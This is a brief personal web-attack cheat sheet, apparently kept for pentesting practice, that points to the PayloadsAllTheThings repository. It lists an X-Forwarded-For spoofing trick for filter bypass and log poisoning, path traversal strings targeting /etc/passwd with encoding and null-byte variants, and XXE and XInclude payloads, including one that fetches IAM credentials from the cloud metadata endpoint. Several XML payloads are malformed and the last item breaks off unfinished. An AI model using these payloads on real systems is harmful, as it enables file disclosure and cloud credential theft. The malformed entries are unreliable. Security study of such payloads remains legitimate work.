Code-Review

Repo for code review

https://github.com/swisskyrepo/PayloadsAllTheThings/

X-Forwarded-For: 888

Probe for weak validation — checks whether the app only checks for header existence (instead of verifying a valid IP).

Bypass naive filters — e.g., if a filter does if header contains digits or uses a poor regex, 888 might pass while a blocked IP might not.

Log poisoning — injecting odd tokens into logs for later exploitation or to confuse log-parsing pipelines.

Trigger unexpected behavior in code that does numeric/lexical checks on the header value.

Path Traversal:

1. /etc/passwd
2. ../../../etc/passwd
3. ..//..//..//etc/passwd
4. Add on to that add URL Encode all Characters <- 2times do the process
5. Try https://www.example.com/image?filename=/var/www/images/../../../etc/passwd
6. ../../../etc/passwd%00[48.jpg]->acutal URL

var/www/html/*

XML Injections:

1. <?xml>

<!DOCTYPE test [<ENTITY test SYSTEM "file://etc/passwd">]><stockCheck>

2. <?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE test [<! ENTITY test SYSTEM

"http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">]>

<stockCheck>

3.Input field Type

productId=<hack xmlns:xi="http://www.w3.org/2001/XInclude">< xi:include parse="text" href="file:///etc/passwd"/></hack&storeId=1

4. Saving the payload of XML in SVG file using nano pic.svg and saving it with a payload that used